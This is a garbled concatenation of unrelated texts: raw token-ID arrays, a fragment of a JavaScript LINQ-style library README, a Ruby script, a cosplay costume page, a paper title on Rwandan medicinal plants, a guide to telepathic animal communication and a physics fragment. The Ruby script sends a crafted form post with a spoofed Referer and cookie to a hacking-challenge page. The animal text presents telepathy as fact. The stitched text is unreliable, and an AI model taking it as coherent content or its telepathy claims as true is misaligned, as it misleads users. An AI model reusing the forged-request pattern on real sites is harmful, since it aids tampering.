8105, 369, 1160, 1293, 247, 3102, 15, 18694, 32861, 479, 715, 253, 4176, 285, 309, 2335, 352, 275, 1919, 352, 369, 5322, 285, 6863, 327, 479, 15, 380, 13628, 285, 43390, 497, 671, 1160, 407, 479, 13, 285, 597, 403, 6107, 275, 10058, 1652, 3168, 29535, 330, 49968, 285, 11537, 249, 42529, 15, 733, 2335, 479, 1048, 3038, 281, 4336, 823, 512, 253, 13882, 249, 42529, 15, 309, 6107, 247, 4667, 273, 19269, 275, 253, 458, 19739, 3379, 43716, 285, 8686, 247, 1643, 11537, 249, 20111, 39978, 15, 380, 512, 981, 2502, 1056, 14, 484, 285, 2798, 3426, 436, 27170, 15, 187, 187, 1044, 1224, 84, 327, 436, 28067, 27, 187, 187, 42, 369, 1077, 9995, 326, 309, 11386, 7477, 323, 41279, 984, 352, 3534, 479, 253, 1921, 281, 465, 4595, 3136, 346, 14102, 6549, 3, 387, 253, 12417, 347, 253, 5307, 14, 56, 5338, 15, 733, 457, 84, 1077, 9848, 281, 8251, 13, 533, 1892, 281, 1691, 327, 15, 187, 187, 10572, 714, 12451, 187, 187, 58, 12451, 13594, 8942, 310, 581, 273, 760, 1643, 7349, 1993, 398, 275, 253, 1533, 281, 1973, 247, 2136, 275, 436, 34057, 14, 382, 3114, 13, 533, 1014, 846, 247, 9976, 273, 2323, 13, 703, 331, 39477, 281, 3297, 2032, 281, 752, 1694, 617, 715, 436, 1673, 8927, 428, 794, 285, 22794, 15, 1916, 436, 1388, 13, 714, 12451, 556, 1160, 247, 35988, 273, 37635, 275, 253, 39831, 273, 29326, 13, 38788, 13, 3492, 3958, 13, 33010, 14, 11125, 13, 17478, 5098, 285, 273, 2282, 432, 617, 1211, 3236, 11809, 15, 4058, 36930, 285, 22874, 763, 45414, 452, 1912, 16620, 285, 913, 7041, 11762, 13, 285, 703, 556, 644, 12470, 281, 3176, 347, 247, 34933, 13, 23610, 382, 13, 6798, 13, 3545, 19946, 285, 19005, 281, 8307, 29793, 285, 643, 3394, 512, 689, 253, 20902, 15, 37837, 2980, 273, 5093, 4236, 416, 88, 395, 266, 34121, 6244, 323, 23945, 285, 33636, 4712, 15, 187, 34, 16993, 17218 ]	alityComparer ). ToArray ( ) ; let nameEqComparer = EqualityComparers. DeepComparer ( t => ( { Name : t. Name } ) ) ; people. Distinct ( nameEqComparer ). ToArray ( ) ; let myhashset = people. ToHashSet ( nameEqualityComparer ) ; [... myhashset ] myhashset. Add ( { Name : " Jack ", Age : 25 } ) ; myhashset. Add ( { Name : " Jane ", Age : 25 } ) ; Easily extend the library With generator function Enumerable. setMethod ( " EvenElements ", function * ( ) { let ind = 0 ; for ( let t of this ) if ( ind ++ % 2 === 0 ) yield t ; } ) ; [ " a ", " b ", " c ", " d " ]. EvenElements ( ). ToArray ( ) ; Or with normal function Enumerable. setMethod ( " Variance ", function ( ) { let avg = this. Average ( ) ; return this. Select ( t => Math. pow ( t - avg, 2 ) ). Average ( ) ; } ) ; [ 1, 3, 4, 8, 12 ]. Variance ( ) ; Create custom anonymous method Output the names as many times as they are old let people = [ { Name : " Jack ", Age : 3 }, { Name : " Joe ", Age : 2 }, { Name : " Jane ", Age : 1 } ] people. Custom ( function * ( ) { for ( let t of this ) yield * Enumerable. Repeat ( t. Name, t. Age ) } ). Select ( t => t. toUpperCase ( ) ). ToArray ( ) Get the oldest person (aka MaxBy) let people = [ { Name : " Jack ", Age : 18 }, { Name : " Joe ", Age : 22 }, { Name : " Jane ", Age : 20 } ] let oldest = people. Custom ( ( source ) => { let currOldest = source. FirstOrDefault ( ) ; for ( let t of source ) if ( t. Age > currOldest. Age ) currOldest = t ; return currOldest ; } ) oldest ToList, ToDictionary, ToHashSet, ToLookup let mylist = [ 1, 3, 4, 8, 12 ]. ToList ( ) ; mylist. Add ( 15 ) ; [... mylist ] let mydict = [ 1, 3, 4, 8, 12 ]. ToDictionary ( t => t, t => t * 2 ) ; [... mydict ] let myhashset = [ 1, 3, 4, 8, 12 ]. ToHashSet ( ) ; myhashset. IsSupersetOf ( [ 1, 4 ] ) ; let groups = [ 1, 3, 4, 8, 12 ]. ToLookup ( t => t > 3? " big " : " small ", t => t ) ; for ( let group of groups ) console. log ( group. Key, [... group ] ) ; ToSet, ToMap, ToArray [ 1, 3, 4, 4, 8, 12 ]. ToSet ( ) ; [ 1, 3, 4, 4, 8, 12 ]. ToMap ( t => t, t => t * 2 ) ; [ 1, 3, 4, 4, 8, 12 ]. ToMap ( t => t, t => t * 2 ). ToArray ( ) ; let upperNames = [ " Jane ", " Joe ", " Jack " ]. Select ( t => t. toUpperCase ( ) ) ; upperNames. ToArray ( ) ; [... upperNames ] ; Extends native Array, Map, Set, and String " Jane Doe ". Distinct ( ). Reverse ( ). ToArray ( ) ; new Map ( [ [ 1, " Jane " ], [ 2, " Joe " ], [ 3, " Jack " ] ] ). Select ( t => ` ${ t [ 0 ] } : ${ t [ 1 ] } ` ). ToArray ( ) ; new Set ( [ 1, 4, 6, 4, 7 ] ). Average ( ) ; Create IEnumerable from generator Infinite generator of Prime numbers function isPrime ( num ) { for ( let i = 2, s = Math. sqrt ( num ) ; i <= s ; i ++ ) if ( num % i === 0 ) return false ; return true ; } let primeNumbers = Enumerable. From ( function * ( ) { let i = 2 ; while ( true ) { if ( isPrime ( i ) ) yield i ; i ++ ; } } ) ; primeNumbers. Take ( 10 ). ToArray ( ) ; Infinite generator of Fibonacci sequence let fibonacciNumbers = Enumerable. From ( function * ( ) { let current = 0, next = 1 ; while ( true ) { yield current ; [ current, next ] = [ next, current + next ] ; } } ) ; fibonacciNumbers. Take ( 10 ). ToArray ( ) ; With typescript support noConflict option import { linqify } from'linqify'; var lq = linqify. noConflict ( ) ; [ 1, 2, 3 ]. Select ( t => t * t ). ToArray ( ) ; lq. Enumerable. From ( [ 1, 2, 3 ] ). Select ( t => t * t ). ToArray ( ) ; lq ( [ 1, 2, 3 ] ). Select ( t => t * t ). ToArray ( ) ; Implemented methods in IEnumerable Aggregate, All, Any, Append, AsEnumerable, Average, Cast, Concat, Contains, Count, Custom, DefaultIfEmpty, Distinct, ElementAt, ElementAtOrDefault, Except, First, FirstOrDefault, ForEach, GroupBy, GroupJoin, Intersect, Join, Last, LastOrDefault, Max, Min, OfType, OrderBy, OrderByDescending, Prepend, Reverse, Select, SelectMany, SequenceEqual, Single, SingleOrDefault, Skip, SkipLast, SkipWhile, Sum, Take, TakeLast, TakeWhile, ToArray, ToDictionary, ToHashSet, ToList, ToLookup, ToMap, ToSet, Union, Where, Zip. Implemented methods in IOrderedEnumerable ThenBy, ThenByDescending.#!/usr/bin/ruby require 'net/http' uri=URI.parse('http://www.hackerschool.jp/hack/take14.php') Net::HTTP.start(uri.host){\|http\| resp=http.post( uri.path, 'input_id=8946', { 'Referer'=>uri.to_s, 'Cookie'=>'PHPSESSID=', } ) puts resp.body }Costumes made/modeled by Yaya between 1999 - now. Ayumi Hamasaki - Surreal Music Video Why I chose this costume: I have always really adored Ayu's sound/style and made a simple outfit from the single "You" for A-kon 2001. I was told by a good number of people how much we resembled each other and it motivated me to make a full-blown Ayu-costume - and what better to make than the Surreal catsuit? How I made this costume: I chose a high quality leopard print velvet that shines and stretches nicely for the suit. It's not Ayu's exact print but I actually prefer mine. I created the bodysuit following a pattern, but combined the sleeved and gloves for a smooth cat-like look. The tail was made without a pattern. Meg pinned me into the suit and I took it in until it was nice and tight on me. The ears and claws were also made by me, and they are covered in tiny little white Austrian Crystals and Rhinestones. It took me long hours to completely add all the rhinestones. I covered a pair of boots in the leopard print velvet and bought a few Rhinestone belts. The alluring red make-up and heart complete this outfit. Thoughts on this costume: I was very glad that I debut mine for AX because it gave me the reason to karaoke "Surreal" at the contest as the 2000-Winner. It’s very comfortable to wear, but hard to put on. About Yaya Yaya Han® is one of only few cosplayers in the world to build a business in this hobby-ist community, but even after a decade of success, she strives to stay true to what got her into this field originally - fun and creativity. To this day, Yaya has made a myriad of costumes in the genres of anime, manga, video games, sci-fi, comic books and of course from her own original designs. Her intricate and lavish creations have won awards and acclaim worldwide, and she has been invited to appear as a Guest, Panelist, Judge, Performer and Host to hundreds conventions and other events all over the globe.Screening of seven selected Rwandan medicinal plants for antimicrobial and antiviral activities. Aqueous Et
[ 247, 6619, 281, 11874, 1066, 285, 1339, 10000, 7906, 28755, 1977, 15, 187, 187, 1394, 943, 1024, 1928, 1805, 670, 1146, 11874, 13, 2810, 13, 285, 802, 46348, 342, 634, 5893, 3331, 15, 1422, 778, 5730, 281, 10280, 436, 3213, 342, 643, 5074, 15, 187, 187, 3404, 806, 13, 390, 1014, 342, 6015, 3946, 13, 368, 778, 760, 2793, 634, 1211, 6255, 2425, 15, 733, 476, 320, 2834, 281, 11874, 253, 3041, 7906, 285, 3888, 326, 9539, 634, 2564, 15, 2207, 368, 778, 4763, 642, 5352, 7313, 390, 24789, 670, 253, 5893, 15, 27669, 4993, 456, 327, 253, 5893, 434, 2133, 16897, 368, 432, 1146, 6600, 273, 616, 2644, 1146, 15, 1422, 778, 417, 2568, 24947, 616, 12435, 17718, 1128, 14094, 7906, 13, 10450, 13, 390, 12342, 273, 665, 597, 403, 327, 247, 12861, 1268, 13, 253, 35988, 7794, 273, 616, 1146, 326, 1537, 320, 18203, 15, 187, 187, 4678, 3110, 15, 32483, 11891, 285, 4014, 3967, 280, 16112, 1379, 673, 281, 49507, 15, 831, 310, 417, 247, 13612, 323, 8164, 278, 6948, 20951, 2, 1198, 1142, 952, 13, 1107, 273, 346, 18037, 3, 390, 8336, 452, 20821, 15, 12329, 2107, 3946, 7729, 253, 8090, 281, 36473, 1977, 15, 187, 187, 1909, 368, 3946, 436, 7208, 13, 368, 588, 1089, 634, 1211, 23014, 390, 20821, 638, 585, 14233, 670, 5074, 3551, 715, 1859, 15, 2325, 7378, 281, 1339, 731, 564, 13, 285, 1527, 598, 281, 5352, 7313, 1754, 327, 247, 2590, 4602, 281, 253, 5893, 1246, 342, 368, 15, 1422, 588, 840, 1089, 326, 634, 4432, 2351, 281, 5074, 8, 7906, 13, 10450, 13, 12342, 13, 285, 3888, 5459, 15, 187, 187, 21914, 326, 436, 310, 253, 806, 285, 954, 5044, 3213, 326, 1364, 320, 8156, 323, 2007, 5511, 281, 1379, 1659, 15, 733, 310, 752, 2789, 352, 4999, 323, 271, 5893, 313, 13961, 390, 5010, 10, 281, 1527, 598, 281, 368, 13, 285, 281, 1928, 326, 368, 403, 11298, 285, 476, 2096, 15, 3166, 352, 5312, 1128, 263, 10793, 3058, 13, 323, 2909, 390, 3038, 1128, 3113, 952, 13, 5074, 13, 7139, 13, 16419, 13, 390, 364, 485, 332, 368, 5730, 281, 3282, 342, 12861, 4685, 285, 4602, 15, 187, 187, 1909, 368, 564, 327, 281, 253, 1735, 5018, 13, 320, 2119, 281, 452, 436, 3213, 275, 1659, 347, 634, 12153, 15, 187, 187, 1267, 13801, 374, 27, 38336, 35043, 2637, 3003, 353, 5479, 7669, 187, 187, 6601, 1075, 187, 187, 8836, 452, 2546, 479, 2139, 616, 5893, 3858, 1053, 626, 3176, 281, 3794, 281, 731, 672, 253, 952, 3177, 281, 13791, 15, 380, 5074, 1053, 626, 1646, 281, 755, 352, 15, 1737, 434, 3430, 32, 187, 187, 2512, 476, 320, 2067, 1841, 13583, 342, 253, 1039, 368, 1472, 10430, 253, 3935, 15, 10348, 368, 2455, 1642, 3095, 247, 1953, 672, 253, 15587, 434, 2564, 369, 327, 1633, 2010, 13, 594, 326, 368, 497, 3735, 760, 39559, 13, 604, 387, 512, 32, 380, 1072, 2181, 476, 5108, 275, 26728, 342, 5074, 15, 187, 187, 1394, 878, 281, 452, 616, 4116, 13, 616, 24741, 13, 285, 616, 3745, 281, 8028, 281, 368, 15, 13168, 13, 512, 352, 3936, 310, 6789, 562, 616, 1416, 13, 285, 597, 1472, 512, 2927, 285, 13628, 323, 368, 15, 2726, 2571, 13, 247, 11453, 13341, 390, 7692, 281, 1339, 731, 871, 368, 1472, 627, 310, 752, 434, 3058, 1078, 368, 3984, 281, 731, 15, 24503, 5074, 588, 1480, 616, 4116, 281, 368, 604, 368, 1472, 3365, 7107, 285, 33056, 422, 13, 347, 275, 253, 5044, 8310, 5763, 15, 187, 187, 6175, 275, 1142, 10872, 5074, 588, 1007, 387, 368, 281, 1339, 368, 871, 597, 1472, 11298, 13, 436, 310, 417, 1900, 616, 14682, 15, 309, 1849, 8344, 342, 1142, 5074, 326, 359, 476, 2186, 1270, 16072, 1223, 616, 2927, 403, 6828, 2584, 616, 3126, 13, 10028, 281, 616, 27762, 13, 347, 310, 616, 3753, 15, 187, 187, 1276, 310, 3309, 310, 634, 5471, 326, 597, 403, 11298, 281, 368, 15, 6491, 9403, 476, 3282, 604, 2571, 403, 346, 3113, 3, 731, 390, 11358, 23198, 15, 1310, 634, 8208, 281, 13791, 310, 11874, 285, 2590, 13, 285, 368, 1691, 326, 2439, 13, 627, 943, 320, 642, 1895, 15, 187, 187, 510, 760, 673, 309, 2430, 326, 5074, 1007, 387, 479, 3587, 1223, 309, 1353, 5015, 310, 672, 359, 1472, 35827, 690, 3879, 285, 16, 263, 253, 5074, 452, 21547, 36968, 11298, 1128, 9453, 352, 434, 1774, 326, 597, 755, 752, 309, 1353, 3981, 15, 1198, 1650, 13, 672, 619, 9097, 452, 3731, 48384, 9367, 13, 309, 778, 4536, 2186, 616, 9365, 2584, 479, 281, 22175, 253, 1127, 15, 187, 187, 10758, 368, 1472, 1663, 38440, 1146, 342, 5074, 13, 352, 434, 3477, 281, 24947, 672, 597, 1472, 4704, 285, 7378, 281, 8028, 15, 22469, 13, 368, 1053, 626, 1611, 281, 7257, 634, 5511, 672, 5074, 403, 31564, 407, 2739, 13, 643, 5074, 13, 390, 33737, 15, 3973, 6016, 253, 34169, 13, 285, 840, 755, 7106, 390, 33056, 422, 2366, 15, 187, 187, 2019, 15752, 187, 187, 510, 1735, 3284, 310, 849, 368, 7257, 634, 3935, 15, 12369, 13452, 390, 11561, 13, 352, 1364, 320, 2590, 281, 1663, 755, 352, 2439, 15, 31790, 459, 326, 253, 3935, 310, 417, 278, 40747, 342, 643, 7906, 390, 6255, 3888, 15, 187, 187, 1145, 1650, 273, 436, 310, 672, 952, 403, 2820, 281, 9798, 9097, 2969, 40138, 13896, 15, 6491, 588, 1333, 346, 3188, 3, 281, 616, 9097, 533, 588, 5406, 23198, 326, 253, 9097, 403, 1469, 281, 1408, 1977, 432, 731, 15, 380, 5074, 588, 3798, 755, 253, 1436, 434, 3302, 8208, 281, 1705, 13, 533, 253, 7968, 273, 3515, 1977, 476, 40678, 731, 15, 1893, 13, 597, 2057, 32379, 13, 390, 597, 956, 253, 6255, 3888, 285, 1408, 1977, 13, 4680, 326, 434, 752, 253, 1436, 5605, 731, 281, 513, 15, 187, 187, 21914, 326, 5074, 2619, 598, 253, 7906, 390, 4495, 3212, 253, 3000, 285, 3037, 281, 15629, 253, 3000, 342, 253, 2250, 368, 403, 3705, 981, 15, 5037, 626, 40678, 731, 15, 16600, 634, 4495, 390, 5406, 13373, 342, 752, 368, 403, 7004, 390, 3981, 15, 380, 1869, 13, 2460, 13, 390, 5471, 368, 2199, 342, 634, 3000, 310, 625, 1774, 685, 253, 3000, 3746, 15, 2064, 434, 2139, 5074, 476, 3798, 6308, 1210, 1090, 250, 952, 13, 984, 752, 253, 952, 403, 3981, 310, 417, 752, 597, 403, 4680, 390, 5471, 15, 29301, 755, 253, 1869, 390, 5471, 285, 769, 15672, 15, 309, 452, 1119, 326, 690, 5074, 665, 812, 1620, 320, 10256, 13896, 13, 390, 665, 4455, 417, 281, 8028, 281, 752, 616, 1436, 3078, 13, 497, 3240, 5194, 494, 846, 616, 2045, 13775, 670, 752, 616, 952, 1663, 5486, 369, 16481, 598, 15, 187, 187, 4678, 2590, 23198, 672, 368, 3984, 15, 9601, 752, 368, 1333, 15, 18874, 11323, 271, 4116, 14, 35777, 285, 4116, 14, 16514, 7877, 15, 6269, 30782, 634, 7906, 17257, 595, 476, 320, 625, 3576, 1580, 359, 1472, 512, 30795, 281, 352, 15, 1723, 13, 672, 368, 403, 2810, 281, 2176, 5074, 665, 4517, 368, 285, 403, 1663, 11298, 13, 11561, 5511, 476, 320, 9386, 15, 309, 2223, 2312, 33454, 342, 619, 1211, 5893, 2021, 15, 1583, 4264, 4854, 619, 4318, 13, 285, 309, 4264, 5636, 272, 342, 731, 326, 1039, 15, 18874, 7729, 281, 22175, 667, 7997, 309, 878, 281, 1918, 15, 2091, 309, 513, 247, 21183, 13, 954, 273, 352, 310, 1327, 332, 7187, 13, 347, 359, 476, 13791, 670, 3237, 285, 5067, 27784, 8450, 625, 4354, 285, 4541, 326, 1039, 15, 187, 187, 41, 17593, 390, 19883, 5074, 21750, 1242, 1223, 368, 2312, 476, 671, 823, 625, 4432, 2351, 281, 634, 10924, 15, 22606, 3057, 7729, 281, 1978, 731, 627, 604, 597, 403, 33400, 417, 281, 2454, 1633, 368, 878, 281, 2968, 342, 13, 390, 604, 597, 1472, 1907, 247, 1892, 673, 7746, 368, 670, 1633, 15, 733, 14935, 731, 871, 368, 403, 13224, 285, 275, 1453, 13, 672, 3058, 13, 285, 326, 368, 452, 247, 8327, 281, 320, 2810, 281, 731, 15, 831, 476, 823, 281, 253, 4685, 273, 634, 5511, 15, 187, 187, 510, 18809, 187, 187, 1466, 434, 2740, 436, 1066, 3213, 407, 3213, 323, 368, 281, 3946, 27, 187, 187, 18, 15, 17633, 907, 1633, 15, 29574, 3946, 6153, 247, 6255, 5406, 273, 690, 1789, 390, 6200, 13, 285, 1007, 387, 352, 23198, 15, 831, 310, 1633, 359, 513, 10748, 285, 2761, 11485, 13, 594, 352, 943, 320, 3477, 15, 187, 187, 19, 15, 17633, 907, 1633, 285, 5007, 352, 281, 253, 2329, 247, 1643, 4669, 275, 2914, 273, 634, 2133, 15, 1422, 476, 2199, 352, 627, 13, 751, 49488, 247, 4023, 13, 390, 816, 7617, 281, 452, 352, 3176, 275, 326, 1659, 15, 5402, 6255, 3888, 403, 762, 634, 3923, 15, 187, 187, 20, 15, 17633, 907, 1633, 285, 5007, 352, 281, 247, 2173, 1127, 275, 253, 2316, 1128, 70, 15, 72, 904, 253, 3402, 390, 253, 5098, 48164, 15, 187, 187, 21, 15, 17633, 907, 1633, 285, 5007, 352, 281, 634, 5893, 3331, 434, 2133, 15, 2325, 13224, 634, 5406, 588, 12666, 627, 15, 1422, 476, 671, 21765, 907, 253, 5406, 347, 368, 5007, 352, 15, 23208, 13, 1097, 29387, 285, 17257, 595, 15, 187, 187, 22, 15, 5057, 634, 5893, 3331, 434, 4116, 15, 9368, 617, 1416, 390, 7692, 617, 896, 13, 390, 2770, 540, 1574, 327, 617, 281, 1339, 617, 871, 368, 1472, 627, 285, 5730, 281, 13791, 15, 187, 187, 23, 15, 21882, 23120, 15, 31790, 459, 326, 703, 1694, 352, 15, 37780, 604, 3309, 15, 187, 187, 24, 15, 30038, 247, 2969, 5730, 390, 271, 2460, 634, 5893, 3331, 1537, 320, 6110, 275, 313, 70, 15, 72, 904, 247, 7636, 581, 390, 247, 2940, 327, 253, 11600, 582, 3761, 634, 3000, 281, 253, 1869, 13, 285, 5007, 253, 3935, 281, 253, 5893, 15, 37780, 436, 1232, 1919, 368, 1928, 1175, 670, 2509, 352, 285, 3282, 326, 368, 403, 2970, 2439, 15, 313, 13614, 890, 27, 5037, 626, 689, 3088, 253, 1072, 3888, 13, 347, 253, 5893, 778, 755, 23086, 285, 19928, 562, 2698, 187, 187, 9323, 68, 784, 3434, 281, 23198, 31986, 752, 368, 21765, 907, 310, 417, 3309, 2378, 368, 1849, 26193, 436, 5853, 285, 403, 2119, 368, 476, 1599, 752, 368, 1333, 15, 12967, 285, 2460, 476, 2826, 10486, 13, 10748, 15, 5037, 626, 689, 3088, 436, 390, 1056, 352, 2834, 15, 8439, 436, 3213, 281, 9446, 2779, 8483, 27366, 273, 18723, 247, 3935, 13, 285, 3451, 634, 1211, 5199, 604, 3309, 15, 187, 187, 1552, 310, 512, 9648, 3477, 13, 3548, 626, 352, 32, 6279, 13, 368, 1333, 13, 533, 849, 513, 309, 871, 619, 5893, 3858, 1694, 253, 3935, 32, 1737, 670, 616, 3662, 32, 380, 1735, 3213, 27, 1908, 253, 5893, 434, 2380, 15, 187, 187, 1267, 13801, 495, 27, 5689, 4339, 3252, 2637, 2933, 2933, 13753, 947, 187, 187, 1552, 310, 253, 629, 326, 954, 952, 1928, 8767, 670, 15, 1583, 778, 1158, 2970, 253, 5511, 281, 253, 5893, 310, 3477, 13, 533, 597, 1053, 626, 755, 2712, 896, 15, 2207, 513, 597, 32, 187, 187, 34, 2257, 7024, 327, 849, 973, 368, 403, 9433, 253, 806, 3213, 15, 6272, 368, 20764, 38440, 13, 591, 32177, 4518, 13, 285, 11298, 281, 253, 5893, 13, 390, 403, 368, 4680, 13, 4680, 13, 4680, 13, 285, 11267, 78, 2977, 689, 512, 253, 1841, 368, 1158, 253, 5893, 1537, 390, 943, 1333, 32, 831, 588, 3469, 327, 1880, 634, 5048, 310, 1527, 281, 755, 253, 3935, 15, 187, 187, 4527, 2282, 13, 604, 368, 1849, 1677, 247, 3923, 13, 352, 434, 3477, 281, 923, 253, 5893, 434, 3662, 275, 253, 3520, 2380, 15, 1359, 670, 604, 368, 1642, 247, 1953, 32, 1359, 513, 368, 871, 368, 1849, 2959, 271, 3662, 32, 187, 187, 3351, 356, 1515, 187, 187, 1466, 434, 513, 247, 1652, 9008, 407, 2444, 342, 17368, 15, 380, 3159, 8564, 3249, 432, 4440, 80, 13, 271, 2460, 390, 2078, 8098, 13, 285, 2097, 346, 936, 1056, 247, 6255, 2460, 273, 13, 830, 271, 2934, 390, 10732, 273, 28, 42684, 275, 253, 2564, 449, 3173, 356, 1515, 310, 7744, 12258, 347, 1146, 43126, 4552, 13, 6153, 1841, 326, 403, 417, 346, 6549, 3, 390, 1246, 275, 253, 3520, 19929, 15, 733, 310, 2223, 1784, 1356, 13, 347, 275, 253, 14876, 13, 346, 1147, 434, 816, 634, 17368, 449, 187, 187, 6436 ]	a relief to calm down and let busy thoughts fade away. You should now feel better about being calm, close, and empathetic with your animal friend. You may wish to repeat this step with other animals. At first, or even with repeated practice, you may only experience your own mental activity. It can be difficult to calm the million thoughts and images that crowd your mind. Or you may receive no fresh observations or perceptions about the animal. Getting fixated on the animal's body prevents you from being aware of their whole being. You may not yet perceive their spiritual essence—their thoughts, feelings, or concepts of who they are on a deeper level, the myriad aspects of their being that might be contacted. Be patient. Increased awareness and telepathic reception take time to cultivate. This is not a recipe for instant mashed potatoes! For many people, years of "rust" or blocks have accumulated. Continued practice helps the layers to peel away. As you practice this frequently, you will find your own judgments or accumulated preconceptions about animals coming into view. Be willing to let them go, and open up to fresh observations based on a clear connection to the animal present with you. You will then find that your receptivity to animals' thoughts, feelings, concepts, and images increases. Remember that this is the first and most basic step that must be realized for further communication to take place. It is what makes it safe for an animal (human or otherwise) to open up to you, and to feel that you are listening and can understand. Do it daily—or whenever needed, for minutes or hours—with people, animals, trees, rocks, or whomever you wish to sense with deeper understanding and connection. As you go on to the next steps, be sure to have this step in place as your foundation. STEP 2: DELIVERING THE MESSAGE Attention People have asked me why their animal friends don't appear to respond to them when the people attempt to communicate. The animals don't seem to get it. What's wrong? There can be several things incorrect with the way you're sending the message. Did you ever ask someone a question when the respondent's mind was on something else, so that you were heard only vaguely, if at all? The same thing can happen in communicating with animals. You need to have their attention, their willingness, and their ability to listen to you. Sometimes, all it takes is calling out their name, and they're all eyes and ears for you. With others, a friendly tap or rub to let them know you're there is what's needed before you speak to them. Often animals will direct their attention to you if you're simply quiet and attentive, as in the basic observation exercise. While in many instances animals will look at you to let you know they're listening, this is not always their preference. I've noticed with many animals that we can hold great conversations while their eyes are directed toward their environment, alert to their surroundings, as is their nature. What is necessary is your feeling that they are listening to you. People normally can sense if others are "with" them or elsewhere mentally. If your intention to communicate is calm and clear, and you put that across, there should be no problem. The only time I require that animals look at me directly while I'm talking is when we're correcting some behavior and/or the animals have deliberately resisted listening—when it's important that they get what I'm saying. For example, when my dogs have misbehaved, I may sometimes hold their faces toward me to emphasize the point. Once you're really calmly being with animals, it's easy to perceive when they're ready and willing to listen. Obviously, you don't try to deliver your communication when animals are distracted by food, other animals, or noises. First handle the distraction, and then get focused or attentive together. Clarity The next element is how you deliver your message. Whether spoken or silent, it must be clear to really get it across. Ensure that the message is not muddled with other thoughts or mental images. An example of this is when people are trying to teach dogs simple obedience commands. People will say "come" to their dogs but will picture mentally that the dogs are going to run away from them. The animals will usually get the person's initial intention to come, but the pictures of running away can confuse them. So, they either hesitate, or they follow the mental images and run away, thinking that's what the person wants them to do. Remember that animals pick up the thoughts or meaning behind the words and learn to associate the words with the action you are picturing. Don't confuse them. Keep your meaning or picture matched with what you are asking or saying. The thought, image, or feeling you project with your words is more important than the words themselves. That's why animals can usually spot insincere people, because what the people are saying is not what they are thinking or feeling. Animals get the thought or feeling and act accordingly. I have found that some animals who could never be taught commands, or who seemed not to listen to what their person wanted, were quite agreeable after their previous confusion about what their people really meant was cleared up. Be clear mentally when you speak. Mean what you say. Sound adds an attention-getting and attention-holding dimension. Communicating your thoughts verbally can be more effective since we're all accustomed to it. However, when you are close to certain animals who trust you and are really listening, silent communication can be wonderful. I often talk aloud with my own animal family. They enjoy hearing my voice, and I enjoy conversing with them that way. Sound helps to emphasize any instructions I need to give. When I do a consultation, most of it is nonverbal, as we can communicate about problems and counsel traumatic experiences more easily and quickly that way. Holding or touching animals sensitively while you talk can also add more receptivity to your communications. Physical contact helps to keep them there if they are tempted not to face something you need to deal with, or if they're having a hard time telling you about something. It lets them know you are confident and in control, when needed, and that you have a desire to be close to them. This can add to the understanding of your communication. The Procedure Let's break this down step by step for you to practice: 1. Visualize something. Simply practice creating a mental picture of some object or scene, and look at it mentally. This is something we do naturally and almost constantly, so it should be easy. 2. Visualize something and send it to the air a few feet in front of your body. You can project it there, like tossing a ball, or just decide to have it appear in that place. Your mental images are under your command. 3. Visualize something and send it to a specific point in the room—e.g., the wall or the bookshelf. 4. Visualize something and send it to your animal friend's body. Be confident your picture will arrive there. You can also verbalize the picture as you send it. Practice, both silently and verbally. 5. Get your animal friend's attention. Call her name or rub her back, or focus intently on her to let her know you're there and wish to communicate. 6. Say hello. Ensure that she got it. Repeat if necessary. 7. Picture a simple wish or an image your animal friend might be interested in (e.g., a loved one or a walk on the beach), match your words to the thought, and send the message to the animal. Repeat this process until you feel good about doing it and sense that you are getting across. (Caution: Don't overdo the same images, as the animal may get bored and tune out.) Conscious effort to mentally visualize what you verbalize is not necessary once you've practiced this technique and are sure you can mean what you say. Word and image can occur simultaneously, naturally. Don't overdo this or make it difficult. Review this step to recognize likely pitfalls of delivering a message, and correct your own procedure if necessary. This is all fairly easy, isn't it? Yes, you say, but how do I know my animal friends got the message? What about their answer? The next step: consider the animal's response. STEP 3: RECEIVING AN ANSWER This is the part that most people feel uncertain about. They may think getting the communication to the animal is easy, but they don't get anything back. Or do they? A lot depends on how well you are applying the first step. Are you observing calmly, perceiving clearly, and listening to the animal, or are you thinking, thinking, thinking, and rummaging over all the things you think the animal might or should say? This will depend on whether your channel is open to get the message. Of course, if you've given a command, it's easy to see the animal's answer in the physical response. How about if you ask a question? How do you know you've received an answer? Imagination Let's do a little preparation by working with imagination. The word imagine comes from imago, an image or likeness, and means "to make a mental image of, form an idea or notion of; conceive in the mind." Imagination is commonly regarded as being fanciful, creating things that are not "real" or present in the physical realm. It is often derided, as in the suggestion, "It's just your imagination." However
[ 30393, 273, 253, 3473, 1008, 33742, 1092, 534, 275, 1614, 403, 1929, 281, 2818, 253, 13742, 273, 18924, 13551, 1008, 266, 261, 1570, 187, 187, 688, 436, 789, 359, 3091, 1908, 653, 379, 1037, 13123, 6514, 16012, 534, 403, 8523, 275, 12902, 313, 263, 15539, 1253, 2655, 10923, 582, 285, 359, 3091, 1007, 323, 3309, 285, 4209, 2515, 281, 3553, 824, 9459, 15, 25683, 13, 841, 2515, 403, 4469, 949, 253, 44378, 3605, 13, 313, 263, 690, 1159, 273, 352, 10, 534, 6492, 253, 7629, 273, 3473, 342, 4038, 13, 323, 247, 1677, 6514, 3284, 313, 923, 1008, 11282, 357, 1420, 62, 285, 10414, 15308, 481, 187, 187, 1909, 359, 3091, 923, 1060, 13, 824, 16018, 432, 12902, 313, 263, 15539, 1253, 2655, 10923, 10, 310, 4136, 604, 285, 760, 604, 13, 253, 38201, 13148, 1561, 253, 6514, 3268, 1157, 2544, 342, 1675, 281, 697, 1318, 275, 253, 3302, 313, 2655, 10923, 390, 15539, 1253, 2655, 10923, 10, 1375, 15, 187, 187, 2512, 310, 2299, 767, 1896, 16022, 323, 436, 15, 2596, 310, 6607, 407, 253, 773, 11006, 318, 552, 668, 5150, 273, 1375, 669, 2859, 12, 81, 30, 17, 1352, 380, 643, 4112, 672, 776, 906, 1057, 417, 4647, 13, 10140, 281, 253, 1083, 672, 840, 985, 6108, 253, 12902, 19413, 715, 18335, 800, 9459, 285, 669, 6165, 308, 6602, 3115, 1035, 2859, 12, 81, 4010, 18, 1366, 835, 669, 6165, 1366, 5, 53, 5, 285, 669, 3115, 5, 9173, 2975, 253, 8609, 26913, 13, 253, 3276, 285, 253, 8609, 17040, 673, 15, 6295, 9534, 16084, 432, 253, 773, 69, 3190, 474, 668, 1127, 273, 1859, 13, 326, 253, 3576, 48450, 2280, 273, 667, 6514, 3284, 29259, 313, 2887, 1008, 70, 303, 62, 285, 10414, 15308, 481, 187, 187, 510, 1840, 5393, 906, 310, 35036, 1157, 275, 690, 3282, 13, 273, 247, 581, 4102, 2797, 1157, 5001, 253, 2515, 323, 247, 